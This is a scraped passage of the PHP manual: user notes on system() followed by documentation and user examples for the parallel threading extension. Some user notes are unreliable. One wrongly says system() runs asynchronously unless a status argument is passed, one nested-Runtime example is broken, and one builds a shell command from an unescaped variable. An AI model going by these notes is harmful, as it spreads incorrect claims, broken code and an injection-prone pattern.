The switch is using the standard variable switch method -- 3 variables (buckets) are required to swap 2 variables with each other. (you have 2 variables and you need to switch the contents - you must bring in a 3rd temporary variable to hold the contents of one value so you can properly swap them).

This link gave me this information:
http://www.cpqlinux.com/redirect.html
eric_REMOVE at movementmovement_REMOVE dot com 21-May-2004 12:56
It's important to note that if you are running a series of system() commands in a loop, you need to include the second argument in order for them to run synchonously.

ie)

// this will execute process.php asynchronously; not waiting for completion before executing the next one.
$array = array('apple', 'banana', 'pear');
foreach($array as $i)
{
system("php process.php \"fruit=$i\"");
}

// this will execute process.php 3 times, waiting for the prior command to complete before starting a new one
$array = array('apple', 'banana', 'pear');
foreach($array as $i)
{
system("php process.php \"fruit=$i\"", $status);
}
mortoray at ecircle-ag dot com 04-Mar-2004 03:55
Do not use "system" if you use the "php.ini" option:
    zlib.output_compression = On

Doing so will result in the browser receiving garbage (I'm guessing the headers/buffers get confused).

Use passthru in this case, it appears to work as intended.
morris_hirsch at hotmail dot com 16-Sep-2003 02:49
another reason to use shell_exec instead of system is when the result is multiple lines such as grep or ls

<?php

// this correctly sets answer string to all lines found
//$answer = shell_exec ("grep 'set of color names' *.php ");
//echo "answer = $answer";

// this passes all lines to output (they  show on page)
// and sets answer string to the final line
 $sys = system ("grep 'set of color names' *.php ");
 echo "sys =(($sys))";

?>

here is view/source resulting from system call

setprefs.php:// The standard set of color names is:
setprefs.php:// Most browsers accept a wider set of color names
silly.php:  //$answer = shell_exec ("grep 'set of color names' *.php ");
silly.php: $sys = system ("grep 'set of color names' *.php ");
sys =((silly.php: $sys = system ("grep 'set of color names' *.php ");))

and here is view source from using shell_exec instead

answer = setprefs.php:// The standard set of color names is:
setprefs.php:// Most browsers accept a wider set of color names
silly.php:  $answer = shell_exec ("grep 'set of color names' *.php ");
silly.php:// $sys = system ("grep 'set of color names' *.php ");
lc at _REMOVE__THIS_lc dot yi dot org 09-Sep-2003 05:24
Re: cpmorris at hotmail dot com and WINNT.

I just spent some time learning to use the php system function.  I managed to get long file names to work for me.  It seems you need to take the same approach that batch files, WSH, and most other programming languages do under WinNT/2K/XP.  Putting double quotes around the Path+Filename seems to work.  So, something like this should have worked for you:

"c:\program files\apache group\apache2\bin\htpasswd"

Note that if you have parameters, they go OUTSIDE of the last quote.  Oh, and don't forget to escape the slashes and quotes!

I don't know what htpasswd's params are, but let us pretend:

$cmd="\"c:\\program files\\apache group\\apache2\\bin\\htpasswd\" username password";
$str=system($cmd);

Hope this helps someone!

Leonard
http:\\www.lc.yi.org
Jim Belton 26-Aug-2003 01:58
To run a full screen program from a PHP CLI script, redirect input from and output to /dev/tty.  For example:

system("timeconfig > /dev/tty < /dev/tty");

System will wait for the program to finish before continuing.
d dot kraft at szo dot de 10-Mar-2003 02:18
For PHP running inside a Webserver:

When calling a process via
system("your_process &");
to make it running in background, note that this process is killed when the webserver is restarted.
cnoelker at softpearls dot de 05-Mar-2003 06:13
Hi,
some tips for using a system()-call for batch files on a windows computer:
* Write the path to the executable with double back-slashes, like so:
   C:\\path\\to\\prog.exe
* If you are refering to other pathes, e.g. as a parameter, one back-slash works fine.
* Do not use SET for declaring parameters - this does not work! Example:
   SET PATH="C:\path\to\lib"
   echo path is %PATH%
This works fine when started from the comand line, but when called from PHP, the variable is just empty.
nospam at php dot net 24-Jul-2000 05:57
If you are trying to parse a CGI script to your webserver which needs arguments, take a look to the virtual() function .. it took me long before i found out it existed...
It's used like this:
<?php
virtual("/cgi-bin/lastuser.cgi?argument");
?>
And that works excellent now for me
ccurtis at aet-usa dot com 14-Jun-1999 11:07
If no headers have been printed, calling the system() function will flush the headers to the client and insert a newline; no further headers or cookies will be transferred to the browser.  In version 3.0.7, you will not be warned that the Header() function failed, but will be warned if trying to set a cookie.  If you want to continue to send headers after the function call, use exec() instead.


parallel

  • 简介
  • Installation
  • Philosophy
  • Functional API
    • parallel\bootstrap — Bootstrapping
    • parallel\run — Execution
  • parallel\Runtime — The parallel\Runtime class
    • parallel\Runtime::__construct — Runtime Construction
    • parallel\Runtime::run — Execution
    • parallel\Runtime::close — Runtime Graceful Join
    • parallel\Runtime::kill — Runtime Join
  • parallel\Future — The parallel\Future class
    • parallel\Future::cancel — Cancellation
    • parallel\Future::cancelled — State Detection
    • parallel\Future::done — State Detection
    • parallel\Future::value — Resolution
  • parallel\Channel — The parallel\Channel class
    • parallel\Channel::__construct — Channel Construction
    • parallel\Channel::make — Access
    • parallel\Channel::open — Access
    • parallel\Channel::recv — Sharing
    • parallel\Channel::send — Sharing
    • parallel\Channel::close — Closing
  • parallel\Events — The parallel\Events class
    • parallel\Events::setBlocking — Behaviour
    • parallel\Events::setTimeout — Behaviour
    • parallel\Events::setInput — Input
    • parallel\Events::addChannel — Targets
    • parallel\Events::addFuture — Targets
    • parallel\Events::remove — Targets
    • parallel\Events::poll — Polling
  • parallel\Events\Input — The parallel\Events\Input class
    • parallel\Events\Input::add — Inputs
    • parallel\Events\Input::clear — Inputs
    • parallel\Events\Input::remove — Inputs
  • parallel\Events\Event — The parallel\Events\Event class
  • parallel\Events\Event\Type — The parallel\Events\Event\Type class
  • parallel\Sync — The parallel\Sync class
    • parallel\Sync::__construct — Construction
    • parallel\Sync::get — Access
    • parallel\Sync::set — Access
    • parallel\Sync::wait — Synchronization
    • parallel\Sync::notify — Synchronization
    • parallel\Sync::__invoke — Synchronization

User Contributed Notes

There are no user contributed notes for this page.


简介

parallel is a parallel concurrency extension for PHP ≥ 7.2.0. As of parallel 1.2.0, PHP ≥ 8.0.0 is required.

A brief description of the concepts core to parallel follows, more detailed information may be found within this section of the manual.

Runtime

A parallel\Runtime represents a PHP interpreter thread. A parallel\Runtime is configured with an optional bootstrap file passed to parallel\Runtime::__construct(), this is typically an autoloader, or some other preloading routine: The bootstrap file will be included before any task is executed.

After construction the parallel\Runtime remains available until it is closed, killed, or destroyed by the normal scoping rules of PHP objects. parallel\Runtime::run() allows the programmer to schedule tasks for execution in parallel. A parallel\Runtime has a FIFO schedule, tasks will be executed in the order that they are scheduled.

Functional API

parallel implements a functional, higher level API on top of parallel\Runtime that provides a single function entry point to executing parallel code with automatic scheduling: parallel\run().

Task

A task is simply a Closure intended for parallel execution. The Closure may contain almost any instruction, including nested closures. However, there are some instructions that are prohibited in tasks:

  • yield

  • use by-reference

  • declare class

  • declare named function

Note:

Nested closures may yield or use by-reference, but must not contain class or named function declarations.

Note:

No instructions are prohibited in the files which the task may include.

Future

The parallel\Future is used to access the return value from the task, and exposes an API for cancellation of the task.

Channel

A task may be scheduled with arguments, use lexical scope variables (by-value), and return a value (via a parallel\Future), but these only allow uni-directional communication: They allow the programmer to send data into and retrieve data from a task, but do not allow bi-directional communication between tasks. The parallel\Channel API allows bi-directional communication between tasks, a parallel\Channel is a socket-like link between tasks that the programmer can use to send and receive data.

Events

The parallel\Events API implements a native feel (Traversable) event loop, and parallel\Events::poll() method. It allows the programmer to work with sets of channels and or futures. The programmer simply adds channels and futures to the event loop, optionally setting the input for writes with parallel\Events::setInput(), and enters into a foreach: parallel will read from and write to objects as they become available yielding parallel\Events\Event objects describing the operations that have occurred.

参见

  • Philosophy

User Contributed Notes

There are no user contributed notes for this page.


Installation

需求

parallel requires a build of PHP with ZTS (Zend Thread Safety) enabled (--enable-zts, or on non-Windows systems prior to PHP 8.0.0, --enable-maintainer-zts)

Caution

Zend Thread Safety cannot be enabled post build; it is a build time configuration option.

parallel should build anywhere there is a working Posix Threads header (pthread.h) and ZTS build of PHP, including Windows (using the pthread-w32 project from redhat).

安装

parallel releases are hosted by PECL and the source code by » github, the easiest route to installation is the normal PECL route: » https://pecl.php.net/package/parallel.

Windows users can download prebuilt release binaries from the » PECL website.

Caution

Windows users need to take the additional step of adding pthreadVC2.dll (distributed with Windows releases) to their PATH.

User Contributed Notes

Mike 04-Nov-2022 03:46
Version 1.2.0, released on October 24, 2022, supports PHP 8.0.0.
Anonym 10-Sep-2022 12:44
As it seems, the last compiled Windows version is for PHP 7.4 which PHP 8.x refuses to load as extension. In his GitHub repository the author of the parallels extension wrote on August 2021 that the project is "probably a dead end" and the project hasn't been updated since 2 years.
andre at webtechnik dot ch 20-May-2021 08:59
On Windows Systems:

- Install PHP TS (Thread Safe)
- Download Extension from PECL (PHP-Version, Thread Safe (TS), Compiler - Version (VC15, VC16), Architecture must match)
- Copy extension to folder: <your php dir>/ext/php_parallel.dll
- Copy app to folder: <your php dir>/pthreadVC2.dll (It is important to copy pthreadVC2.dll not into the ext folder!)
- add pthreadVC2.dll to windows system environment path
- add in php.ini the line extension=parallel to load the extension
- restart

Try on console: php -v

If there are no errors, everything works and you can try the examples


Philosophy

This section contains philosophies important to writing parallel code and some details about the internal implementation of parallel.

Do not communicate by sharing memory; instead, share memory by communicating.

This philosophy which is embraced by parallel has its origins in Go, one of the most widely admired if not used platforms for writing parallel code at the moment. Go programmers have to work hard to live up to this ideal: PHP and parallel do all the hard work for the programmer, and by default.

In conventional threading models found in other languages, generally threads are communicating with one another through nothing more than by virtue of the fact that they operate in the same address space. The programmer must deploy mutual exclusion, condition variables, and other low level threading or synchronization primitives in order to ensure proper communication of state and consistency.

When the conventional model is inversed, it means that threads only share memory as a result of communication (a variable is passed over a Channel for example).

When parallel passes a variable from one thread to another by any means - Task arguments, return via Future, and Channels - it is passed by value. In all but the case of unbuffered channels, the variable is also buffered so that it may not change (or be destroyed) before it is used in whichever thread the variable is being passed to. An unbuffered read over a channel is the only instance in which a thread directly reads memory allocated by another thread, it can do so safely because the thread that owns the memory is waiting for the read to complete before it can continue to manipulate it, and the thread that does not own the memory reads by value. When both threads continue, they are no longer sharing memory.

This makes writing and reasoning about parallel code much easier than the conventional model of threading. It means the programmer does not need to consider that threads may be manipulating data concurrently, because that is not possible.

This also makes PHP the perfect platform for implementing a parallel concurrency API based on CSP (message passing over channels), because PHP itself is shared nothing - PHP threads operate in their own virtual address space by default, and so may only share memory by communicating.

Data should have a definitive single owner

When approaching the CSP model for the first time, a programmer versed in the traditional model of threading may find themselves looking for concurrent data structures, because that is what they are used too: they pass around shared objects for manipulation.

When it comes to the CSP model, there is no need for data structures to be shared by many tasks, and indeed, it is simpler if they are not. The data should be owned by a single task, changes to (or operations on) that data structure should be communicated over channels and performed by the owner of the data, the success, failure, or result (state) of the change (or operation) being communicated back.

Once again the share nothing nature of PHP and copy by value nature of parallel helps the programmer to achieve this goal, no data will be shared by accident, only ever as a result of communication.

User Contributed Notes

There are no user contributed notes for this page.


Functional API

The parallel\Runtime API provides a great degree of control to the power PHP programmer, and those intimately familiar with writing applications that use parallel concurrency.

The functional API provides less control in exchange for the ability to make decisions for the programmer:

  • all executing runtimes are bootstrapped identically

  • scheduling is determined by the API, not the programmer

parallel\run() provides the guarantee that the task will begin to execute in parallel as soon as allowed by hardware and operating system constraints, without needlessly creating runtimes. For most applications the functional API should be preferred.

Table of Contents

  • parallel\bootstrap — Bootstrapping
  • parallel\run — Execution

User Contributed Notes

gajowy at agzeta dot pl 30-Jan-2023 01:53
Consider cost of bootstraping. In the parallel\Runtime API the bootstrap routine is executed each time "new Runtime()" is called. So if you create e.g. 8 Runtimes, the bootstrap code will be executed 8 times and it does not depend on the number of Futures. On the other hand, in the case of Functional API each "parallel\run()" causes the boostrap code to be called again. This can be painfull if your tasks environement is complex (eg. huge datasets that need to be prepared in advance and thausends of relatively small tasks).


Bootstrapping

  • ? Functional API
  • parallel\run ?
  • PHP Manual
  • Functional API
  • Bootstrapping

parallel\bootstrap

(1.0.0)

parallel\bootstrap — Bootstrapping

说明

parallel\bootstrap(string $file): void

Shall use the provided file to bootstrap all runtimes created for automatic scheduling via parallel\run().

参数

file

Path to the file to bootstrap all runtimes.

返回值

没有返回值。

错误／异常

Warning

Shall throw parallel\Runtime\Error\Bootstrap if previously called for this process.

Warning

Shall throw parallel\Runtime\Error\Bootstrap if called after parallel\run().

参见

  • parallel\Runtime::run

User Contributed Notes

There are no user contributed notes for this page.


Execution

  • ? parallel\bootstrap
  • parallel\Runtime ?
  • PHP Manual
  • Functional API
  • Execution

parallel\run

(1.0.0)

parallel\run — Execution

说明

parallel\run(Closure $task): ?Future

Shall schedule task for execution in parallel.

parallel\run(Closure $task, array $argv): ?Future

Shall schedule task for execution in parallel, passing argv at execution time.

Automatic Scheduling

If a \parallel\Runtime internally created and cached by a previous call to parallel\run() is idle, it will be used to execute the task. If no \parallel\Runtime is idle parallel will create and cache a \parallel\Runtime.

Note:

\parallel\Runtime objects created by the programmer are not used for automatic scheduling.

参数

task

A Closure with specific characteristics.

argv

An array of arguments with specific characteristics to be passed to task at execution time.

Task Characteristics

Closures scheduled for parallel execution must not:

  • accept or return by reference
  • accept or return internal objects (see notes)
  • execute a limited set of instructions

Instructions prohibited in Closures intended for parallel execution are:

  • yield
  • use by-reference
  • declare class
  • declare named function

Note:

Nested closures may yield or use by-reference, but must not contain class or named function declarations.

Note:

No instructions are prohibited in the files which the task may include.

Arguments Characteristics

Arguments must not:

  • contain references
  • contain resources
  • contain internal objects (see notes)

Note:

In the case of file stream resources, the resource will be cast to the file descriptor and passed as int where possible, this is unsupported on Windows.

Internal Objects Notes

Internal objects generally use a custom structure which cannot be copied by value safely, PHP currently lacks the mechanics to do this (without serialization) and so only objects that do not use a custom structure may be shared.

Some internal objects do not use a custom structure, for example parallel\Events\Event and so may be shared.

Closures are a special kind of internal object and support being copied by value, and so may be shared.

Channels are central to writing parallel code and support concurrent access and execution by necessity, and so may be shared.

Warning

A user class that extends an internal class may use a custom structure as defined by the internal class, in which case they cannot be copied by value safely, and so may not be shared.

返回值

Warning

The return parallel\Future must not be ignored when the task contains a return or throw statement.

Exceptions

Warning

Shall throw parallel\Runtime\Error\Closed if parallel\Runtime was closed.

Warning

Shall throw parallel\Runtime\Error\IllegalFunction if task is a closure created from an internal function.

Warning

Shall throw parallel\Runtime\Error\IllegalInstruction if task contains illegal instructions.

Warning

Shall throw parallel\Runtime\Error\IllegalParameter if task accepts or argv contains illegal variables.

Warning

Shall throw parallel\Runtime\Error\IllegalReturn if task returns illegally.

参见

  • parallel\Runtime::run

User Contributed Notes

Thierry Kauffmann 12-Nov-2021 10:07
<?php

/**
 * Sample parralel functional API
 * using a generator instead of a static list of items to process
 *
 * Items to process in parallel come from a generator
 * It could be anything : e.g fetch a mysql array, a DirectoryIterator...
 * Thus the number of items to process in parallel is NOT known in advance
 *
 * This algorithm attributes items to each parallel thread dynamically
 * As soon as a thread has finished working
 * It is assigned a new item to process
 * until all items are processed (generator closes)
 *
 * In this example we process 50 items in 5 parallel threads
 * It produces output in this form (output changes at each run) :
 *
 * ThreadId: 1 => Item: 1 (Start)
 * ThreadId: 2 => Item: 2 (Start)
 * ThreadId: 3 => Item: 3 (Start)
 * ThreadId: 4 => Item: 4 (Start)
 * ThreadId: 5 => Item: 5 (Start)
 * ThreadId: 5 => Item: 5 Sleep: 3s (End)
 * ThreadId: 5 => Item: 6 (Start)
 * ThreadId: 3 => Item: 3 Sleep: 4s (End)
 * ThreadId: 3 => Item: 7 (Start)
 * ThreadId: 2 => Item: 2 Sleep: 6s (End)
 * ThreadId: 2 => Item: 8 (Start)
 * ...
 * ThreadId: 4 => Item: 44 Sleep: 6s (End)
 * ThreadId: 4 => Item: 49 (Start)
 * ThreadId: 3 => Item: 46 Sleep: 5s (End)
 * ThreadId: 3 => Item: 50 (Start)
 * ThreadId: 2 => Item: 43 Sleep: 9s (End)
 * Destroy ThreadId: 2
 * ThreadId: 1 => Item: 47 Sleep: 5s (End)
 * Destroy ThreadId: 1
 * ThreadId: 4 => Item: 49 Sleep: 7s (End)
 * Destroy ThreadId: 4
 * ThreadId: 5 => Item: 48 Sleep: 10s (End)
 * Destroy ThreadId: 5
 * ThreadId: 3 => Item: 50 Sleep: 10s (End)
 * Destroy ThreadId: 3
 */

use \parallel\{Runtime, Future, Channel, Events};

// Generate list of items to process with a generator
function generator(int $item_count) {
    for ($i=1; $i <= $item_count; $i++) {
        yield $i;
    }
}

function testConcurrency(int $concurrency, int $item_count) {

    $generator = generator($item_count);

    // Function executing in each thread. Have a snap for a random time for example !
    $producer = function (int $item_id) {
        $seconds = rand(1, 10);
        sleep($seconds);
        return ['item_id' => $item_id, 'sleep_seconds' => $seconds];
    };

    // Fill up threads with initial 'inactive' state
    $threads = array_fill(1, $concurrency, ['is_active' => false]);

    while (true) {
        // Loop through threads until all threads are finished
        foreach ($threads as $thread_id => $thread) {
            if (!$thread['is_active'] and $generator->valid()) {
                // Thread is inactive and generator still has values : run something in the thread
                $item_id = $generator->current();
                $threads[$thread_id]['run'] = \parallel\run($producer, [$item_id]);
                echo "ThreadId: $thread_id => Item: $item_id (Start)\n";
                $threads[$thread_id]['is_active'] = true;
                $generator->next();
            } elseif (!isset($threads[$thread_id]['run'])) {
                // Destroy supplementary threads in case generator closes sooner than number of threads
                echo "Destroy ThreadId: $thread_id\n";
                unset($threads[$thread_id]);
            } elseif ($threads[$thread_id]['run']->done()) {
                // Thread finished. Get results
                $item = $threads[$thread_id]['run']->value();
                echo "ThreadId: $thread_id => Item: {$item['item_id']} Sleep: {$item['sleep_seconds']}s (End)\n";

                if (!$generator->valid()) {
                    // Generator is closed then destroy thread
                    echo "Destroy ThreadId: $thread_id\n";
                    unset($threads[$thread_id]);
                } else {
                    // Thread is ready to run again
                    $threads[$thread_id]['is_active'] = false;
                }
            }
        }

        // Escape loop when all threads are destroyed
        if (empty($threads)) break;
    }
}

$concurrency = 5;
$item_count = 50;

testConcurrency($concurrency, $item_count);

?>
anonymous user 07-Feb-2021 02:49
Although function declaration is not allowed inside thread exec code, include is allowed. So if we want to declare a function, we could write another file that contain the function and include it.
# main.php
<?php
$runtime = new parallel\Runtime ();
$future = $runtime->run ( function () {
    $future = $runtime->run ( function () {
        include "included.php";
        return add (1, 3);
    }, [ ] );
echo $future->value ();
# output: 4
# included.php
<?php
function add($a, $b){
    return $a + $b;
}
john_2885 at yahoo dot com 20-Feb-2020 05:35
Here's a more substantial example of how to use the run functional API.

<?php
/*********************************************
 * Sample parallel functional API
 *
 * Scenario
 * -------------------------------------------
 * Given a large number of rows of
 * data to process, divide the work amongst
 * a set of workers.  Each worker is responsible
 * for finishing their assigned task.
 *
 * In the code below, assume we have arbitrary
 * start and end IDs (rows) - we will try to
 * divide the number of IDs (rows) evenly
 * across 8 workers.  The workers will get the
 * following batches to process to completion:
 *
 * Total number of IDs (rows): 1371129
 * Each worker will get 171392 IDs to process
 *
 * Worker 1: IDs from 11001 to 182393
 * Worker 2: IDs from 182393 to 353785
 * Worker 3: IDs from 353785 to 525177
 * Worker 4: IDs from 525177 to 696569
 * Worker 5: IDs from 696569 to 867961
 * Worker 6: IDs from 867961 to 1039353
 * Worker 7: IDs from 1039353 to 1210745
 * Worker 8: IDs from 1210745 to 1382130
 *
 * Each worker then processes 5000 rows at a time
 * until they are done with their assigned work
 *
 *********************************************/

use \parallel\{Runtime, Future, Channel, Events};

$minId = 11001;
$maxId = 1382130;
$workers = 8;
$totalIds = $maxId - $minId;
// Try to divide IDs evenly across the number of workers
$batchSize = ceil($totalIds / $workers);
// The last batch gets whatever is left over
$lastBatch = $totalIds % $batchSize;
// The number of IDs (rows) to divide the overall
// task into sub-batches
$rowsToFetch = 5000;

print "Total IDs: " . $totalIds . "\n";
print "Batch Size: " . $batchSize . "\n";
print "Last Batch: " . $lastBatch . "\n";

$producer = function(int $worker, int $startId, int $endId, int $fetchSize) {
    $tempMinId = $startId;
    $tempMaxId = $tempMinId + $fetchSize;
    $fetchCount = 1;

    print "Worker " . $worker . " working on IDs from " . $startId . " to " . $endId . "\n";

    while($tempMinId < $endId) {
        for($i = $tempMinId; $i < $tempMaxId; $i++) {
            $usleep = rand(500000, 1000000);
            usleep($usleep);
            print "Worker " . $worker .  " finished batch " . $fetchCount . " from ID " . $tempMinId . " to " . $tempMaxId . "\n";
            // Need to explicitly break out of the for loop once complete or else it will forever process only the first sub-batch
            break;
        }

        // Now we move on to the next sub-batch for this worker
        $tempMinId = $tempMaxId;
        $tempMaxId = $tempMinId + $fetchSize;
        if($tempMaxId > $endId) {
            $tempMaxId = $endId;
        }
        // Introduce some timing randomness
        $sleep = rand(1,5);
        sleep($sleep);
        $fetchCount++;
    }

    // This worker has completed their entire batch
    print "Worker " . $worker .  " finished\n";

};

// Create our workers and have them start working on their task
// In this case, it's a set of 171392 IDs to process
for($i = 0; $i < $workers; $i++) {
    $startId = $minId + ($i * $batchSize);
    $endId = $startId + $batchSize;
    if($i == ($workers - 1)) {
        $endId = $maxId;
    }
    \parallel\run($producer, array(($i+1), $startId, $endId, $rowsToFetch));
}

?>


The parallel\Runtime class

(0.8.0)

Runtime Objects

Each runtime represents a single PHP thread, the thread is created (and bootstrapped) upon construction. The thread then waits for tasks to be scheduled: Scheduled tasks will be executed FIFO and then the thread will resume waiting until more tasks are scheduled, or it's closed, killed, or destroyed by the normal scoping rules of PHP objects.

Warning

When a runtime is destroyed by the normal scoping rules of PHP objects, it will first execute all of the tasks that were scheduled, and block while doing so.

Runtime Bootstrapping

When a new runtime is created, it does not share code with the thread (or process) that created it. This means it doesn't have the same classes and functions loaded, nor the same autoloader set. In some cases, a very lightweight runtime is desirable because the tasks that will be scheduled do not need access to the code in the parent thread. In those cases where the tasks do need to access the same code, it is enough to set an autoloader as the bootstrap.

Note:

preloading may be used in conjunction with parallel, in this case preloaded code is available without bootstrapping

类摘要

final class parallel\Runtime {
/* Create */
public __construct()
public __construct(string $bootstrap)
/* Execute */
public run(Closure $task): ?Future
public run(Closure $task, array $argv): ?Future
/* Join */
public close(): void
public kill(): void
}

Table of Contents

  • parallel\Runtime::__construct — Runtime Construction
  • parallel\Runtime::run — Execution
  • parallel\Runtime::close — Runtime Graceful Join
  • parallel\Runtime::kill — Runtime Join

User Contributed Notes

Mikhail Streltsov (admin at my-fantasy dot ru) 22-Jul-2023 03:48
new Runtime()  will reset some basic (before number 10+-) Linux signal.

If you already set handle of signal by pcntl_signal function - you need do it again
gam6itko 10-Sep-2021 05:54
<?php

// make sure that is really parallel execution (showcase2).
// Then you use echo within task-function there is a real chance that the application will hang.
// We should control Futures to avoid this behaviour.
// You will get different output on each execution.

use parallel\{Future, Runtime};

const THREADS_COUNT = 10;
const THREADS_I_MAX = 100;

// executed within thread
$task = static function (int $i, int $to): void {
    echo "[enter$i]";
    for ($j = 0; $j < $to; $j++) {
        echo $i;
    }
    echo "[exit$i]";
};

// creating a few threads
$runtimeList = [];
for ($i = 0; $i < THREADS_COUNT; $i++) {
    $runtimeList[] = new Runtime();
}
// run all threads
$futureList = [];
foreach ($runtimeList as $i => $runtime) {
    echo "[run$i]";
    $futureList[] = $runtime->run($task, [$i, THREADS_I_MAX]);
}

// waiting until all threads are done
// if you delete code bellow then your script will hang
do {
    usleep(1);
    $allDone = array_reduce(
        $futureList,
        function (bool $c, Future $future): bool {
            return $c && $future->done();
        },
        true
    );
} while (false === $allDone);
echo "done\n";
gam6itko 10-Sep-2021 04:58
<?php

// make sure that is really parallel execution
// you will get different output on each script run

use parallel\{Channel, Runtime};

const THREADS_COUNT = 5;
const THREADS_I_MAX = 10;

$ch = new Channel();

// executed within thread
$task = static function (Channel $ch, int $i, int $to): void {
    echo "[enter: $i]\n";
    for ($j = 0; $j < $to; $j++) {
        $ch->send($i);
    }
    echo "[exit: $i]\n";
};

// creating a few threads
$runtimeList = [];
for ($i = 0; $i < THREADS_COUNT; $i++) {
    $runtimeList[] = new Runtime();
}
// run all threads
foreach ($runtimeList as $i => $runtime) {
    echo "[run: $i]\n";
    $runtime->run($task, [$ch, $i, THREADS_I_MAX]);
}

// reading messages from channel
$queue = '';
for ($i = 0; $i < THREADS_COUNT * THREADS_I_MAX; $i++) {
    $queue .= $ch->recv();
}
$ch->close();

echo $queue . PHP_EOL;
Luciano Vettoretti 25-Nov-2019 08:27
basic-multithreading-test.php

<?php
use parallel\Runtime;
use parallel\Channel;

$test = "this var is not accesible in a thread";

// this function will be the threads
$thread_function = function (int $id, Channel $ch) {
    // delay the first thread to simulate better multithreading
    // second thread always finishes first
    $sleep = ($id == 2) ? 1 : 2;
    sleep($sleep);

    // print thread id
    // so it's clear second thread goes first
    // and also you can make sure multithreading is working
    var_dump("thread $id sleep $sleep");

    // try to capture globals, but it's not possible
    echo '$GLOBALS["test"] = ';
    @var_dump($GLOBALS["test"]);

    // the only way to share data is between channels
    $ch->send($sleep);
};

try {
    // each runtime represents a thread
    $r1 = new Runtime();
    $r2 = new Runtime();

    // channel where the date will be sharead
    $ch1 = new Channel();

    // args that will be sent to $thread_function
    $args = array();
    $args[0] = null;
    $args[1] = $ch1;

    // running thread 1
    $args[0] = 1;
    $r1->run($thread_function, $args);

    // running thread 2
    $args[0] = 2;
    $r2->run($thread_function, $args);

    // receive data from channel
    $x = $ch1->recv();
    $y = $ch1->recv();

    // close channel
    $ch1->close();

    echo "\nData received by the channel: $x and $y";
} catch (Error $err) {
    echo "\nError:", $err->getMessage();
} catch (Exception $e) {
    echo "\nException:", $e->getMessage();
}


Runtime Construction

  • ? parallel\Runtime
  • parallel\Runtime::run ?
  • PHP Manual
  • parallel\Runtime
  • Runtime Construction

parallel\Runtime::__construct

(0.8.0)

parallel\Runtime::__construct — Runtime Construction

说明

public parallel\Runtime::__construct()

Shall construct a new runtime without bootstrapping.

public parallel\Runtime::__construct(string $bootstrap)

Shall construct a bootstrapped runtime.

参数

bootstrap

The location of a bootstrap file, generally an autoloader.

Exceptions

Warning

Shall throw parallel\Runtime\Error if thread could not be created

Warning

Shall throw parallel\Runtime\Bootstrap if bootstrapping failed

User Contributed Notes

There are no user contributed notes for this page.


Execution

  • ? parallel\Runtime::__construct
  • parallel\Runtime::close ?
  • PHP Manual
  • parallel\Runtime
  • Execution

parallel\Runtime::run

(0.8.0)

parallel\Runtime::run — Execution

说明

public parallel\Runtime::run(Closure $task): ?Future

Shall schedule task for execution in parallel.

public parallel\Runtime::run(Closure $task, array $argv): ?Future

Shall schedule task for execution in parallel, passing argv at execution time.

参数

task

A Closure with specific characteristics.

argv

An array of arguments with specific characteristics to be passed to task at execution time.

Task Characteristics

Closures scheduled for parallel execution must not:

  • accept or return by reference
  • accept or return internal objects (see notes)
  • execute a limited set of instructions

Instructions prohibited in Closures intended for parallel execution are:

  • yield
  • use by-reference
  • declare class
  • declare named function

Note:

Nested closures may yield or use by-reference, but must not contain class or named function declarations.

Note:

No instructions are prohibited in the files which the task may include.

Arguments Characteristics

Arguments must not:

  • contain references
  • contain resources
  • contain internal objects (see notes)

Note:

In the case of file stream resources, the resource will be cast to the file descriptor and passed as int where possible, this is unsupported on Windows.

Internal Objects Notes

Internal objects generally use a custom structure which cannot be copied by value safely, PHP currently lacks the mechanics to do this (without serialization) and so only objects that do not use a custom structure may be shared.

Some internal objects do not use a custom structure, for example parallel\Events\Event and so may be shared.

Closures are a special kind of internal object and support being copied by value, and so may be shared.

Channels are central to writing parallel code and support concurrent access and execution by necessity, and so may be shared.

Warning

A user class that extends an internal class may use a custom structure as defined by the internal class, in which case they cannot be copied by value safely, and so may not be shared.

返回值

Warning

The return parallel\Future must not be ignored when the task contains a return or throw statement.

Exceptions

Warning

Shall throw parallel\Runtime\Error\Closed if parallel\Runtime was closed.

Warning

Shall throw parallel\Runtime\Error\IllegalFunction if task is a closure created from an internal function.

Warning

Shall throw parallel\Runtime\Error\IllegalInstruction if task contains illegal instructions.

Warning

Shall throw parallel\Runtime\Error\IllegalParameter if task accepts or argv contains illegal variables.

Warning

Shall throw parallel\Runtime\Error\IllegalReturn if task returns illegally.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Graceful Join

  • ? parallel\Runtime::run
  • parallel\Runtime::kill ?
  • PHP Manual
  • parallel\Runtime
  • Runtime Graceful Join

parallel\Runtime::close

(0.8.0)

parallel\Runtime::close — Runtime Graceful Join

说明

public parallel\Runtime::close(): void

Shall request that the runtime shutsdown.

Note:

Tasks scheduled for execution will be executed before the shutdown occurs.

Exceptions

Warning

Shall throw parallel\Runtime\Error\Closed if Runtime was already closed.

User Contributed Notes

andre at webtechnik dot ch 01-Jun-2021 06:45
This is a simple test to show how close and kill works.

<?php
/**
 * Test close and kill
 * - main thread writes to main.log
 * - second thread writes to thread.log and shutdown.log
 * - main thread runs 10 seconds, second thread runs 20 seconds
 * - close will wait until second thread stops
 * - kill don't waits and kill immediately the second thread
 */

// main thread
logToFile("start");

// create a second thread
$thread = new parallel\Runtime();
$thread->run(function(){

    // what to do if thread shuts down
    register_shutdown_function ( function(){file_put_contents("shutdown.log",date('Y-m-d H:i:s') . "\t last will");} );

    // loop and count for 20 seconds
    $c=0;
    while ($c++ < 20){
        sleep(1);
        echo $c."|";
        file_put_contents("thread.log",date('Y-m-d H:i:s') . "\t" . $c.PHP_EOL, FILE_APPEND);
    }
});

// sleep 10 seconds
sleep(10);

// mainthread kills thread immediately
//$thread->kill();

// mainthread waits on thread
$thread->close();

logToFile("end");

function logToFile($msg){
    echo PHP_EOL.$msg.PHP_EOL;
    file_put_contents("main.log",date('Y-m-d H:i:s') . "\t" . $msg.PHP_EOL, FILE_APPEND);
}
?>


Runtime Join

  • ? parallel\Runtime::close
  • parallel\Future ?
  • PHP Manual
  • parallel\Runtime
  • Runtime Join

parallel\Runtime::kill

(0.8.0)

parallel\Runtime::kill — Runtime Join

说明

public parallel\Runtime::kill(): void

Shall attempt to force the runtime to shutdown.

Note:

Tasks scheduled for execution will not be executed, the currently running task shall be interrupted.

Warning

Internal function calls in progress cannot be interrupted.

Exceptions

Warning

Shall throw parallel\Runtime\Error\Closed if Runtime was closed.

User Contributed Notes

There are no user contributed notes for this page.


The parallel\Future class

(0.8.0)

Futures

A Future represents the return value or uncaught exception from a task, and exposes an API for cancellation.

